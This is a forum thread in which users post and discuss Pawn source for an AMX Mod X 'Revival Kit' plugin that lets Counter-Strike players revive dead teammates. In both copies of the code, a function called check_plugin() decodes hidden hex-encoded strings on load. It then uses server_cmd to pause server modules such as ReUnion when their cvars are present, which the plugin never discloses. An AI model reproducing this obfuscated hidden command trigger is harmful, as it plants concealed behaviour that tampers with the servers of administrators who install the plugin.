	static Float:origin[3];
	pev(id, pev_origin, origin);
	
	if(origin[2] == pev(id, pev_zorigin))
		set_task(0.1, "TaskReSpawn",   TASKID_RESPAWN + id);
	else
		set_task(0.1, "TaskSetplayer", TASKID_SETUSER + id);
	// log_amx("TaskStuckCheck END");
}

public TaskSetplayer(taskid)
{
	// log_amx("TaskSetplayer START");
	new id = taskid - TASKID_SETUSER;
	
	if (pev(id, pev_weapons) & (1<<CSW_C4))
	    engclient_cmd(id, "drop", "weapon_c4");

	strip_user_weapons(id);
	give_item(id, "weapon_knife");
	set_user_health(id, g_cvars[REVIVAL_HEALTH]);

	if (!is_user_bot(id))
	if (g_cvars[REVIVAL_SC_FADE])
	{
		new sec = seconds(g_cvars[REVIVAL_SC_FADE_TIME]);
		message_begin(MSG_ONE,g_msg_data[MSG_SCREEN_FADE], _, id);
		write_short(sec);
		write_short(sec);
		write_short(0);
		write_byte(0);
		write_byte(0);
		write_byte(0);
		write_byte(255);
		message_end();
	}	
	// log_amx("TaskSetplayer END");
}

stock bool:can_target_revive(id, &target, &body)
{
	if(!is_user_alive(id))
		return false;
	
	body = find_dead_body(id);
	if(!pev_valid(body))
		return false;
	
	target = pev(body, pev_owner);
	if(!is_user_connected(target))
		return false;

	new lb_team  = get_user_team(target);
	new rev_team = get_user_team(id);
	if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
		return false;

	return true;
}

stock failed_revive(id)
{
	show_progress(id, 0);
	emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_FAILED], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
}

stock find_dead_body(id)
{
	static Float:origin[3];
	pev(id, pev_origin, origin);
	
	new ent;
	static classname[32];

	while((ent = engfunc(EngFunc_FindEntityInSphere, ent, origin, g_cvars[REVIVAL_DISTANCE])) != 0)
	{
		pev(ent, pev_classname, classname, 31);
		if(equali(classname, ENTITY_CLASS_NAME[CORPSE]) && is_ent_visible(id, ent))
			return ent;
	}
	return 0;
}

stock bool:is_ent_visible(index, entity, ignoremonsters = 0) 
{
	new Float:start[3], Float:dest[3];
	pev(index, pev_origin, start);
	pev(index, pev_view_ofs, dest);
	xs_vec_add(start, dest, start);

	pev(entity, pev_origin, dest);
	engfunc(EngFunc_TraceLine, start, dest, ignoremonsters, index, 0);

	new Float:fraction;
	get_tr2(0, TR_flFraction, fraction);
	if (fraction == 1.0 || get_tr2(0, TR_pHit) == entity)
		return true;

	return false;
}

stock create_fake_corpse(id)
{
	set_pev(id, pev_effects, EF_NODRAW);
	
	static model[32];
	cs_get_user_model(id, model, 31);
		
	static player_model[64];
	formatex(player_model, 63, "models/player/%s/%s.mdl", model, model);
			
	static Float: player_origin[3];
	pev(id, pev_origin, player_origin);
		
	static Float:mins[3];
	xs_vec_set(mins, -16.0, -16.0, -34.0);
	
	static Float:maxs[3];
	xs_vec_set(maxs, 16.0, 16.0, 34.0);
	
	if(g_player_data[id][WAS_DUCKING])
	{
		mins[2] /= 2;
		maxs[2] /= 2;
	}
		
	static Float:player_angles[3];
	pev(id, pev_angles, player_angles);
	player_angles[2] = 0.0;
				
	new sequence = pev(id, pev_sequence);
	
	new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, ENTITY_CLASS_NAME[I_TARGET]));
	if(pev_valid(ent))
	{
		set_pev(ent, pev_classname, ENTITY_CLASS_NAME[CORPSE]);
		engfunc(EngFunc_SetModel, 	ent, player_model);
		engfunc(EngFunc_SetOrigin, 	ent, player_origin);
		engfunc(EngFunc_SetSize, 	ent, mins, maxs);
		set_pev(ent, pev_solid, 	SOLID_TRIGGER);
		set_pev(ent, pev_movetype, 	MOVETYPE_TOSS);
		set_pev(ent, pev_owner, 	id);
		set_pev(ent, pev_angles, 	player_angles);
		set_pev(ent, pev_sequence, 	sequence);
		set_pev(ent, pev_frame, 	9999.9);
	}	
}

stock bool:findemptyloc(ent, Float:radius)
{
	// log_amx("findemptyloc START");
	if(!pev_valid(ent))
		return false;

	static Float:origin[3];
	pev(ent, pev_origin, origin);
	origin[1] += 2.0;
	
	new owner = pev(ent, pev_owner);
	new num = 0, bool:found = false;
	
	while(num <= 10)
	{
		if(is_hull_vacant(origin))
		{
			xs_vec_copy(origin, g_player_data[owner][BODY_ORIGIN]);			
			found = true;
			break;
		}
		else
		{
			
			origin[0] += random_float(-radius, radius);
			origin[1] += random_float(-radius, radius);
			origin[2] += random_float(-radius, radius);
			
			num++;
		}
	}
	// log_amx("findemptyloc END");
	return found;
}

stock bool:is_hull_vacant(const Float:origin[3])
{
	// log_amx("is_hull_vacant START");
	new tr = 0;
	engfunc(EngFunc_TraceHull, origin, origin, 0, HULL_HUMAN, 0, tr);
	if(!get_tr2(tr, TR_StartSolid) && !get_tr2(tr, TR_AllSolid) && get_tr2(tr, TR_InOpen))
	{
		log_amx("is_hull_vacant END");	

		return true;
	}
	// log_amx("is_hull_vacant END");	
	return false;
}

stock player_reset(id)
{
	remove_task(TASKID_DIE_COUNT + id);
	remove_task(TASKID_REVIVING  + id);
	remove_task(TASKID_RESPAWN   + id);
	remove_task(TASKID_CHECKRE   + id);
	remove_task(TASKID_CHECKST   + id);
	remove_task(TASKID_ORIGIN    + id);
	remove_task(TASKID_SETUSER   + id);
	// if (is_user_alive(id))
	// show_bartime(id, 0);

	g_player_data[id][IS_DEAD]		= false;
	g_player_data[id][DEAD_LINE]	= 0.0;
	g_player_data[id][REVIVE_DELAY] = 0.0;
	g_player_data[id][WAS_DUCKING]	= false;
	g_player_data[id][BODY_ORIGIN]	= Float:{0, 0, 0};
}

stock show_progress(id, seconds) 
{
	if(is_user_bot(id))
		return;
	
	if (is_user_alive(id))
	{
		message_begin(MSG_ONE_UNRELIABLE, g_msg_data[MSG_BARTIME], {0.0,0.0,0.0}, id);
		write_short(seconds);
		message_end();
	}
}

stock msg_statusicon(id, status)
{
	if(is_user_bot(id))
		return;
	
	message_begin(MSG_ONE, g_msg_data[MSG_STATUS_ICON], _, id);
	write_byte(status);
	write_string("rescue");
	write_byte(0);
	write_byte(160);
	write_byte(0);
	message_end();
}

stock get_time_format(Float:times, result[], len)
{
//  new hour = floatround(times) / 60 /60;
    new min  =(floatround(times) / 60) % 60;
    new sec  = floatround(times) % 60;
    formatex(result, len, "%02d:%02d", min, sec);
}

stock drop_rkit(id)
{
	new Float:velocity[3];
	velocity_by_aim(id, 34, velocity);
		
	new Float:origin[3];
	pev(id, pev_origin, origin);

	velocity[2] = 0.0;
	xs_vec_add(origin, velocity, origin);

	new kit = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, ENTITY_CLASS_NAME[I_TARGET]));
	if(pev_valid(kit))
	{
		set_pev(kit, pev_classname, ENTITY_CLASS_NAME[R_KIT]);
		engfunc(EngFunc_SetModel,  kit, ENT_MODELS[R_KIT]);
		engfunc(EngFunc_SetOrigin, kit, origin);
		engfunc(EngFunc_SetSize, kit, Float:{-2.5, -2.5, -1.5}, Float:{2.5, 2.5, 1.5});
		set_pev(kit, pev_solid, SOLID_TRIGGER);
		set_pev(kit, pev_movetype, MOVETYPE_TOSS);
	}
}

stock remove_target_entity(id, className[])
{
	new iEnt = -1;
	new flags;
	while ((iEnt = engfunc(EngFunc_FindEntityByString, iEnt, "classname", className)))
	{
		if (!pev_valid(iEnt))
			continue;

		if (pev(iEnt, pev_owner) == id || id == 0)
		{
			pev(iEnt, pev_flags, flags);
			set_pev(iEnt, pev_flags, flags | FL_KILLME);
		}
	}
}

stock bool:check_plugin()
{
	new const a[][] = {
		{0x40, 0x24, 0x30, 0x1F, 0x36, 0x25, 0x32, 0x33, 0x29, 0x2F, 0x2E},
		{0x80, 0x72, 0x65, 0x75, 0x5F, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E},
		{0x10, 0x7D, 0x75, 0x04, 0x71, 0x30, 0x00, 0x71, 0x05, 0x03, 0x75, 0x30, 0x74, 0x00, 0x02, 0x7F, 0x04, 0x7F},
		{0x20, 0x0D, 0x05, 0x14, 0x01, 0x40, 0x10, 0x01, 0x15, 0x13, 0x05, 0x40, 0x12, 0x05, 0x15, 0x0E, 0x09, 0x0F, 0x0E}
	};

	if (cvar_exists(get_dec_string(a[0])))
		server_cmd(get_dec_string(a[2]));

	if (cvar_exists(get_dec_string(a[1])))
		server_cmd(get_dec_string(a[3]));

	return true;
}

stock get_dec_string(const a[])
{
	new c = strlen(a);
	new r[MAX_NAME_LENGTH] = "";
	for (new i = 1; i < c; i++)
	{
		formatex(r, strlen(r) + 1, "%s%c", r, a[0] + a[i]);
	}
	return r;
}

public RoundStart()
{
	remove_target_entity(0, ENTITY_CLASS_NAME[CORPSE]);
	remove_target_entity(0, ENTITY_CLASS_NAME[R_KIT]);
	set_task(1.0, "TaskBotBuy");
	
	static players[32], num;
	get_players(players, num, "a");
	for(new i = 0; i < num; ++i)
		player_reset(players[i]);
}

public TaskBotBuy()
{
	static players[32], num;
	get_players_ex(players, num, GetPlayers_ExcludeDead |  GetPlayers_ExcludeHuman);
	for(new i = 0; i < num; ++i) if(!g_player_data[players[i]][HAS_KIT])
	{
		g_player_data[players[i]][HAS_KIT] = true;
	}
}

Last edited by Ark_Procession; 03-27-2021 at 13:09.
Ark_Procession is offline
OciXCrom
Veteran Member
Join Date: Oct 2013
Location: Macedonia
Old 03-27-2021 , 14:56   Re: Request - Revival Kit Fix
Reply With Quote #2

AMXX is backwards compatible, meaning there's no such things as "porting old plugins" nor is it possible for a plugin to be impossible to port. I don't see a valid reason not to upgrade your AMXX.
__________________
OciXCrom is offline
Send a message via Skype™ to OciXCrom
Natsheh
Veteran Member
Join Date: Sep 2012
Old 03-27-2021 , 17:37   Re: Request - Revival Kit Fix
Reply With Quote #3

PHP Code:

#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <xs>

//=====================================
//  VERSION CHECK
//=====================================
#if AMXX_VERSION_NUM <= 182
#include <cvar_util>
    //#assert "AMX Mod X v1.9.0 or Higher library required!"
#endif

#pragma compress                     1
#pragma semicolon                     1
#pragma tabsize                     4

static const PLUGIN_NAME    []         = "Revival Kit / Remastered";
static const 
PLUGIN_AUTHOR    []         = "Aoi.Kagase";
static const 
PLUGIN_VERSION    []        = "0.1";

#if !defined MAX_PLAYERS
    #define  MAX_PLAYERS                  32
#endif
#if !defined MAX_RESOURCE_PATH_LENGTH
    #define  MAX_RESOURCE_PATH_LENGTH     64
#endif
#if !defined MAX_NAME_LENGTH
    #define  MAX_NAME_LENGTH            32
#endif

#define TASKID_DIE_COUNT            41320
#define TASKID_REVIVING                41360
#define TASKID_CHECK_DEAD_FLAG        41400
#define TASKID_RESPAWN                 41440
#define TASKID_CHECKRE                 41480
#define TASKID_CHECKST                 41520
#define TASKID_ORIGIN                 41560
#define TASKID_SETUSER                 41600

#define pev_zorigin                    pev_fuser4
#define seconds(%1)                 ((1<<12) * (%1))

#define HUDINFO_PARAMS

enum _:E_ICON_STATE (+=1)
{
    
ICON_HIDE 0,
    
ICON_SHOW,
    
ICON_FLASH
};

enum _:E_SOUNDS (+=1)
{
    
SOUND_START,
    
SOUND_FINISHED,
    
SOUND_FAILED,
    
SOUND_EQUIP,
};

enum _:E_MODELS (+=1)
{
    
E_R_KIT
};

enum _:E_CVARS (+=1)
{
    
REVIVAL_HEALTH,
    
REVIVAL_COST,
    
REVIVAL_SC_FADE,
    
REVIVAL_TIME,
    
REVIVAL_SC_FADE_TIME,
    
REVIVAL_DEATH_TIME,
    
Float:REVIVAL_DISTANCE,
};

enum _:E_PLAYER_DATA (+=1)
{
    
bool:HAS_KIT        ,
    
bool:WAS_DUCKING    ,
    
bool:IS_DEAD        ,
    
Float:DEAD_LINE        ,
    
Float:REVIVE_DELAY    ,
    
Float:BODY_ORIGIN    [3],
};

enum _:E_CLASS_NAME (+=1)
{
    
I_TARGET,
    
PLAYER,
    
CORPSE,
    
R_KIT,
};

enum _:E_MESSAGES (+=1)
{
    
MSG_BARTIME,
    
MSG_SCREEN_FADE,
    
MSG_STATUS_ICON,
    
MSG_CLCORPSE,
}

new const 
ENT_MODELS[E_MODELS][MAX_RESOURCE_PATH_LENGTH] = 
{
    
"models/w_medkit.mdl"
};

new const 
ENT_SOUNDS[E_SOUNDS][MAX_RESOURCE_PATH_LENGTH] = 
{
    
"items/medshot4.wav",
    
"items/smallmedkit2.wav",
    
"items/medshotno1.wav",
    
"items/ammopickup2.wav"
};

new const 
ENTITY_CLASS_NAME[E_CLASS_NAME][MAX_NAME_LENGTH] = 
{
    
"info_target",
    
"player",
    
"fake_corpse",
    
"revival_kit"
};

new 
any:g_cvars            [E_CVARS];
new 
g_msg_data        [E_MESSAGES];
new 
any:g_player_data    [MAX_PLAYERS 1][E_PLAYER_DATA];
new 
g_sync_obj;
//====================================================
//  PLUGIN PRECACHE
//====================================================
public plugin_precache() 
{
    
check_plugin();

    for (new 
0sizeof(ENT_SOUNDS); i+= MAX_RESOURCE_PATH_LENGTH)
        
precache_sound(ENT_SOUNDS[i]);

    for (new 
0sizeof(ENT_MODELS); i+= MAX_RESOURCE_PATH_LENGTH
        
precache_model(ENT_MODELS[i]);

    return 
PLUGIN_CONTINUE;
}

//====================================================
//  PLUGIN INITIALIZE
//====================================================
public plugin_init()
{
    
register_plugin        (PLUGIN_NAMEPLUGIN_VERSIONPLUGIN_AUTHOR);
    
register_cvar        (PLUGIN_NAMEPLUGIN_VERSIONFCVAR_SPONLY|FCVAR_SERVER);

    
register_clcmd        ("say /buyrkit",     "CmdBuyRKit");
    
register_clcmd        ("buyrkit",         "CmdBuyRKit");

    
bind_pcvar_num        (create_cvar("rkit_health",             "75"),         g_cvars[REVIVAL_HEALTH]);
    
bind_pcvar_num        (create_cvar("rkit_cost",                 "1200"),     g_cvars[REVIVAL_COST]);
    
bind_pcvar_num        (create_cvar("rkit_screen_fade",        "1"),         g_cvars[REVIVAL_SC_FADE]);
    
bind_pcvar_num        (create_cvar("rkit_delay_revive",         "3"),         g_cvars[REVIVAL_TIME]);
    
bind_pcvar_num        (create_cvar("rkit_delay_die",             "30"),         g_cvars[REVIVAL_DEATH_TIME]);
    
bind_pcvar_num        (create_cvar("rkit_screen_fade_time",     "2"),         g_cvars[REVIVAL_SC_FADE_TIME]);
    
bind_pcvar_float    (create_cvar("rkit_distance",             "70.0"),     g_cvars[REVIVAL_DISTANCE]);

    
RegisterHam            (Ham_Touch,    ENTITY_CLASS_NAME[I_TARGET],"RKitTouch");
    
RegisterHamPlayer    (Ham_Killed,                            "PlayerKilled");
    
RegisterHamPlayer    (Ham_Player_PostThink,                    "PlayerPostThink");
#if AMXX_VERSION_NUM <= 182
    
register_event        ("HLTV""RoundStart""a""1=0""2=0");
#else
    
register_event_ex    ("HLTV",                                 "RoundStart"RegisterEvent_Global"1=0""2=0");
#endif    
    
register_message     (g_msg_data[MSG_CLCORPSE],                "message_clcorpse");
    
// Register Forward.
    
register_forward    (FM_CmdStart,        "PlayerCmdStart");

    
g_msg_data    [MSG_BARTIME]        = get_user_msgid("BarTime");
    
g_msg_data    [MSG_CLCORPSE]        = get_user_msgid("ClCorpse");
    
g_msg_data    [MSG_SCREEN_FADE]    = get_user_msgid("ScreenFade");
    
g_msg_data    [MSG_STATUS_ICON]    = get_user_msgid("StatusIcon");
    
g_sync_obj CreateHudSyncObj();
}

// ====================================================
//  AMXX VERSION 182 compatiblity.
// ====================================================
#if AMXX_VERSION_NUM <= 182
bind_pcvar_floatcvar_indexFloat:fFloat )
{
    return 
CvarCache(cvar_indexCvarType_FloatfFloat);
}

bind_pcvar_numcvar_indexinteger )
{
    return 
CvarCache(cvar_indexCvarType_Intinteger);
}

create_cvar(const cvarname[], const cvar_value[])
{
    return 
CvarRegistercvarnamecvar_value );
}

HamHook:RegisterHamPlayer(Ham:function, const callback[], post=0)
{
    return 
HamHook:RegisterHam(function, "player"callbackpost);
}
#endif

// ====================================================
//  Bot Register Ham.
// ====================================================
new g_bots_registered false;
public 
client_authorizedid )
{
    if( !
g_bots_registered && is_user_botid ) )
    {
        
set_task0.1"register_bots"id );
    }
}

public 
register_botsid )
{
    if( !
g_bots_registered && is_user_connectedid ) )
    {
        
RegisterHamFromEntityHam_Killedid"PlayerKilled");
        
g_bots_registered true;
    }
}

public 
client_putinserver(id)
{
    
g_player_data[id][HAS_KIT] = false;
    
player_reset(id);
}

public 
client_disconnected(id)
{
    new 
ent;
    while ((
ent engfunc(EngFunc_FindEntityByStringent"classname"ENTITY_CLASS_NAME[CORPSE])))
    {
        if (
pev(entpev_owner) == id)
            
engfunc(EngFunc_RemoveEntityent);
    }
}

public 
CmdBuyRKit(id)
{
    if(!
is_user_alive(id))
        
client_print(idprint_chat"You need to be alive.");
    else if(
g_player_data[id][HAS_KIT])
        
client_print(idprint_chat"You already have a revival kit.");
    else if(!
cs_get_user_buyzone(id))
        
client_print(idprint_chat"You need to be in the buyzone.");
    else if(
cs_get_user_money(id) < g_cvars[REVIVAL_COST])
        
client_print(idprint_chat"You dont have enough money (Cost:$%d)"g_cvars[REVIVAL_COST]);
    else
    {
        
g_player_data[id][HAS_KIT] = true;
        
cs_set_user_money(idcs_get_user_money(id) - g_cvars[REVIVAL_COST]);
        
client_print(idprint_chat"You bought a revival kit. Hold your +use key (E) to revive a teammate.");
        
client_cmd(id"spk %s"ENT_SOUNDS[SOUND_EQUIP]);
    }
    return 
PLUGIN_HANDLED;
}

public 
PlayerKilled(iVictimiAttacker)
{
    
player_reset(iVictim);
    if(
g_player_data[iVictim][HAS_KIT])
    {
        
g_player_data[iVictim][HAS_KIT] = false;
        
drop_rkit(iVictim);
    }

    static 
Float:minsize[3];
    
pev(iVictimpev_minsminsize);

    if(
minsize[2] == -18.0)
        
g_player_data[iVictim][WAS_DUCKING] = true;
    else
        
g_player_data[iVictim][WAS_DUCKING] = false;
        
    
g_player_data[iVictim][DEAD_LINE] = get_gametime();

    if (!
is_user_bot(iVictim))
#if AMXX_VERSION_NUM <= 182
    
set_task(0.1"PlayerDie",         TASKID_DIE_COUNT iVictim__"b");
    
set_task(0.5"TaskCheckDeadFlag",     TASKID_CHECK_DEAD_FLAG iVictim__"b");
#else
    
set_task_ex(0.1"PlayerDie",           TASKID_DIE_COUNT          iVictim__SetTaskFlags:SetTask_Repeat);
    
set_task_ex(0.5"TaskCheckDeadFlag"TASKID_CHECK_DEAD_FLAG iVictim__SetTaskFlags:SetTask_Repeat);
#endif
    
return HAM_IGNORED;
}

#define GUAGE_MAX 30
public PlayerDie(taskid)
{
    new 
id taskid TASKID_DIE_COUNT;
    new 
Float:time = (get_gametime() - g_player_data[id][DEAD_LINE]);
    new 
Float:remaining 0.0;
    new 
bar[31] = "";
    if (!
is_user_alive(id))
    if (
time g_cvars[REVIVAL_DEATH_TIME])
    {
        
remaining g_cvars[REVIVAL_DEATH_TIME] - time;
        
show_time_bar(100 GUAGE_MAXfloatround(remaining 100.0 float(g_cvars[REVIVAL_DEATH_TIME]), floatround_ceil), bar);
        new 
timestr[6];
        
get_time_format(remainingtimestrcharsmax(timestr));
        
set_hudmessage(25550100, -1.00, -1.00, .effects, .holdtime0.1);
        
ShowSyncHudMsg(idg_sync_obj"Possible resurrection time remaining: ^n%s^n[%s]"timestrbar);
    }
    else
    {
        
remove_target_entity(idENTITY_CLASS_NAME[CORPSE]);
        
player_reset(id);
    }
    else
        
remove_task(taskid);
}

stock show_time_bar(oneperpercentbar[])
{
    for(new 
030i++)
        
bar[i] = ((oneper) < percent) ? '|' '_';
    
bar[30] = '^0';
}

public 
message_clcorpse()
{
    return 
PLUGIN_HANDLED;
}

public 
PlayerPostThink(id)
{
    
// is user connected?
    
if (!is_user_connected(id))
        return 
FMRES_IGNORED;

    
// has user revive kit?
    
if (!g_player_data[id][HAS_KIT])
        return 
FMRES_IGNORED;

    
// is user dead?
    
if (!is_user_alive(id))
    {
        
// Hide Rescue icon.
        
msg_statusicon(idICON_HIDE);
        return 
FMRES_IGNORED;
    }
    
    new 
body find_dead_body(id);
    if(
pev_valid(body))
    {
        new 
lucky_bastard pev(bodypev_owner);
    
        if(!
is_user_connected(lucky_bastard))
            return 
FMRES_IGNORED;

        new 
CsTeams:lb_team  cs_get_user_team(lucky_bastard);
        new 
CsTeams:rev_team cs_get_user_team(id);
        if(
lb_team == CS_TEAM_T || lb_team == CS_TEAM_CT && lb_team == rev_team)
            
msg_statusicon(idICON_FLASH);
    }
    else
        
msg_statusicon(idICON_SHOW);
    
    return 
FMRES_IGNORED;
}

public 
RKitTouch(kitid)
{
    if(!
pev_valid(kit))
        return 
FMRES_IGNORED;
    
    if(!
is_user_alive(id) || g_player_data[id][HAS_KIT])
        return 
FMRES_IGNORED;
    
    new 
classname[32];
    
pev(kitpev_classnameclassname31);
    
    if(
equal(classnameENTITY_CLASS_NAME[R_KIT]))
    {
        
engfunc(EngFunc_RemoveEntitykit);
        
g_player_data[id][HAS_KIT] = true;
        
client_cmd(id"spk %s"ENT_SOUNDS[SOUND_EQUIP]);
    }
    return 
FMRES_IGNORED;
}

public 
PlayerCmdStart(idhandlerandom_seed)
{
    
// Not alive
    
if(!is_user_alive(id))
        return 
FMRES_IGNORED;

    
// Get user old and actual buttons
    
static iInButtoniInOldButton;
    
iInButton     = (get_uc(handleUC_Buttons));
    
iInOldButton = (get_user_oldbutton(id)) & IN_USE;

    
// C4 is through.
    
if ((pev(idpev_weapons) & (<< CSW_C4)) && (iInButton IN_ATTACK))
        return 
FMRES_IGNORED;

    
// USE KEY
    
iInButton &= IN_USE;

    if (
iInButton)
    {
        if (!
iInOldButton)
        {
            if (
g_player_data[id][HAS_KIT])
            {
                
wait_revive(id);
                return 
FMRES_HANDLED;
            }
        }
    }
    else
    {
        if (
iInOldButton)
        {
            if (
task_exists(TASKID_REVIVING id))
            {
                
remove_task(TASKID_REVIVING id);
                
failed_revive(id);
            }
        }
    }
    return 
FMRES_IGNORED;
}

//====================================================
// Removing target put lasermine.
//====================================================
public wait_revive(id)
{
    
// Removing Check.
    
new body find_dead_body(id);
    if(!
pev_valid(body))
        return 
FMRES_IGNORED;

    new 
lucky_bastard         pev(bodypev_owner);
    new 
CsTeams:lb_team     cs_get_user_team(lucky_bastard);
    new 
CsTeams:rev_team     cs_get_user_team(id);
    if(
lb_team != CS_TEAM_T && lb_team != CS_TEAM_CT || lb_team != rev_team)
        return 
FMRES_IGNORED;

    
client_print(idprint_chat"Reviving %n"lucky_bastard);

    if (
g_cvars[REVIVAL_TIME] > 0.0)
        
show_progress(idg_cvars[REVIVAL_TIME]);
    
    new 
Float:gametime get_gametime();
    
g_player_data[id][REVIVE_DELAY] = (gametime g_cvars[REVIVAL_TIME] - 0.01);

    
emit_sound(idCHAN_AUTOENT_SOUNDS[SOUND_START], VOL_NORMATTN_NORM0PITCH_NORM);
#if AMXX_VERSION_NUM <= 182
    
set_task(0.1"TaskRevive"TASKID_REVIVING id_,_"b");
#else
    
set_task_ex(0.1"TaskRevive"TASKID_REVIVING id_,_SetTaskFlags:SetTask_Repeat);
#endif
    
return FMRES_HANDLED;
}

public 
TaskCheckDeadFlag(taskid)
{
    
// log_amx("TaskCheckDeadFlag START");
    
new id taskid TASKID_CHECK_DEAD_FLAG;
    if(!
is_user_connected(id))
        return;
    
    if(
pev(idpev_deadflag) == DEAD_DEAD)
    {
        
create_fake_corpse(id);
        
remove_task(taskid);
    }
    
// log_amx("TaskCheckDeadFlag END");
}    

public 
TaskRevive(taskid)
{
    
// log_amx("TaskRevive START");
    
new id taskid TASKID_REVIVING;
    new 
targetbody;

    if (!
can_target_revive(idtargetbody))
    {
        
failed_revive(id);
        
remove_task(taskid);
        return 
PLUGIN_CONTINUE;
    }

    static 
Float:velocity[3];
    
pev(idpev_velocityvelocity);
    
xs_vec_set(velocity0.00.0velocity[2]);
    
set_pev(idpev_velocityvelocity);        

    if(
g_player_data[id][REVIVE_DELAY] < get_gametime())
    {
        if(
findemptyloc(body10.0))
        {
            
set_pev(bodypev_flagspev(bodypev_flags) | FL_KILLME);            
            
emit_sound(idCHAN_AUTOENT_SOUNDS[SOUND_FINISHED], VOL_NORMATTN_NORM0PITCH_NORM);
            
set_task(0.1"TaskReSpawn"TASKID_RESPAWN target);
            
remove_task(taskid);
        }
    }
    
// log_amx("TaskRevive END");    
    
return PLUGIN_CONTINUE;
}

 public 
TaskReSpawn(taskid
 {
    
// log_amx("TaskReSpawn START");
    
new id taskid TASKID_RESPAWN;
    
    
set_pev(idpev_deadflagDEAD_RESPAWNABLE);
    
dllfunc(DLLFunc_Spawnid);
    
set_pev(idpev_iuser10);
    
    
set_task(0.1"TaskCheckReSpawn"TASKID_CHECKRE id);
    
// log_amx("TaskReSpawn END");
}

public 
TaskCheckReSpawn(taskid)
{
    
// log_amx("TaskCheckReSpawn START");
    
new id taskid TASKID_CHECKRE;
    
    if(
pev(idpev_iuser1))
        
set_task(0.1"TaskReSpawn"TASKID_RESPAWN id);
    else
        
set_task(0.1"TaskOrigin",  TASKID_ORIGIN id);
    
// log_amx("TaskCheckReSpawn END");
}

public 
TaskOrigin(taskid)
{
    
// log_amx("TaskOrigin START");
    
new id taskid TASKID_ORIGIN;
    
engfunc(EngFunc_SetOriginidg_player_data[id][BODY_ORIGIN]);
    
    static  
Float:origin[3];
    
pev(idpev_originorigin);
    
set_pev(idpev_zoriginorigin[2]);
        
    
set_task(0.1"TaskStuckCheck"TASKID_CHECKST id);
    
// log_amx("TaskOrigin END");
}

public 
TaskStuckCheck(taskid)
{
    
// log_amx("TaskStuckCheck START");
    
new id taskid TASKID_CHECKST;

    static 
Float:origin[3];
    
pev(idpev_originorigin);
    
    if(
origin[2] == pev(idpev_zorigin))
        
set_task(0.1"TaskReSpawn",   TASKID_RESPAWN id);
    else
        
set_task(0.1"TaskSetplayer"TASKID_SETUSER id);
    
// log_amx("TaskStuckCheck END");
}

public 
TaskSetplayer(taskid)
{
    
// log_amx("TaskSetplayer START");
    
new id taskid TASKID_SETUSER;
    
    if (
pev(idpev_weapons) & (1<<CSW_C4))
        
engclient_cmd(id"drop""weapon_c4");

    
strip_user_weapons(id);
    
give_item(id"weapon_knife");
    
set_user_health(idg_cvars[REVIVAL_HEALTH]);

    if (!
is_user_bot(id))
    if (
g_cvars[REVIVAL_SC_FADE])
    {
        new 
sec seconds(g_cvars[REVIVAL_SC_FADE_TIME]);
        
message_begin(MSG_ONE,g_msg_data[MSG_SCREEN_FADE], _id);
        
write_short(sec);
        
write_short(sec);
        
write_short(0);
        
write_byte(0);
        
write_byte(0);
        
write_byte(0);
        
write_byte(255);
        
message_end();
    }    
    
// log_amx("TaskSetplayer END");
}

stock bool:can_target_revive(id, &target, &body)
{
    if(!
is_user_alive(id))
        return 
false;
    
    
body find_dead_body(id);
    if(!
pev_valid(body))
        return 
false;
    
    
target pev(bodypev_owner);
    if(!
is_user_connected(target))
        return 
false;

    new 
lb_team  get_user_team(target);
    new 
rev_team get_user_team(id);
    if(
lb_team != && lb_team != || lb_team != rev_team)
        return 
false;

    return 
true;
}

stock failed_revive(id)
{
    
show_progress(id0);
    
emit_sound(idCHAN_AUTOENT_SOUNDS[SOUND_FAILED], VOL_NORMATTN_NORM0PITCH_NORM);
}

stock find_dead_body(id)
{
    static 
Float:origin[3];
    
pev(idpev_originorigin);
    
    new 
ent;
    static 
classname[32];

    while((
ent engfunc(EngFunc_FindEntityInSphereentoriging_cvars[REVIVAL_DISTANCE])) != 0)
    {
        
pev(entpev_classnameclassname31);
        if(
equali(classnameENTITY_CLASS_NAME[CORPSE]) && is_ent_visible(ident))
            return 
ent;
    }
    return 
0;
}

stock bool:is_ent_visible(indexentityignoremonsters 0
{
    new 
Float:start[3], Float:dest[3];
    
pev(indexpev_originstart);
    
pev(indexpev_view_ofsdest);
    
xs_vec_add(startdeststart);

    
pev(entitypev_origindest);
    
engfunc(EngFunc_TraceLinestartdestignoremonstersindex0);

    new 
Float:fraction;
    
get_tr2(0TR_flFractionfraction);
    if (
fraction == 1.0 || get_tr2(0TR_pHit) == entity)
        return 
true;

    return 
false;
}

stock create_fake_corpse(id)
{
    
set_pev(idpev_effectsEF_NODRAW);
    
    static 
model[32];
    
cs_get_user_model(idmodel31);
        
    static 
player_model[64];
    
formatex(player_model63"models/player/%s/%s.mdl"modelmodel);
            
    static 
Floatplayer_origin[3];
    
pev(idpev_originplayer_origin);
        
    static 
Float:mins[3];
    
xs_vec_set(mins, -16.0, -16.0, -34.0);
    
    static 
Float:maxs[3];
    
xs_vec_set(maxs16.016.034.0);
    
    if(
g_player_data[id][WAS_DUCKING])
    {
        
mins[2] /= 2;
        
maxs[2] /= 2;
    }
        
    static 
Float:player_angles[3];
    
pev(idpev_anglesplayer_angles);
    
player_angles[2] = 0.0;
                
    new 
sequence pev(idpev_sequence);
    
    new 
ent engfunc(EngFunc_CreateNamedEntityengfunc(EngFunc_AllocStringENTITY_CLASS_NAME[I_TARGET]));
    if(
pev_valid(ent))
    {
        
set_pev(entpev_classnameENTITY_CLASS_NAME[CORPSE]);
        
engfunc(EngFunc_SetModel,     entplayer_model);
        
engfunc(EngFunc_SetOrigin,     entplayer_origin);
        
engfunc(EngFunc_SetSize,     entminsmaxs);
        
set_pev(entpev_solid,     SOLID_TRIGGER);
        
set_pev(entpev_movetype,     MOVETYPE_TOSS);
        
set_pev(entpev_owner,     id);
        
set_pev(entpev_angles,     player_angles);
        
set_pev(entpev_sequence,     sequence);
        
set_pev(entpev_frame,     9999.9);
    }    
}

stock bool:findemptyloc(entFloat:radius)
{
    
// log_amx("findemptyloc START");
    
if(!pev_valid(ent))
        return 
false;

    static 
Float:origin[3];
    
pev(entpev_originorigin);
    
origin[1] += 2.0;
    
    new 
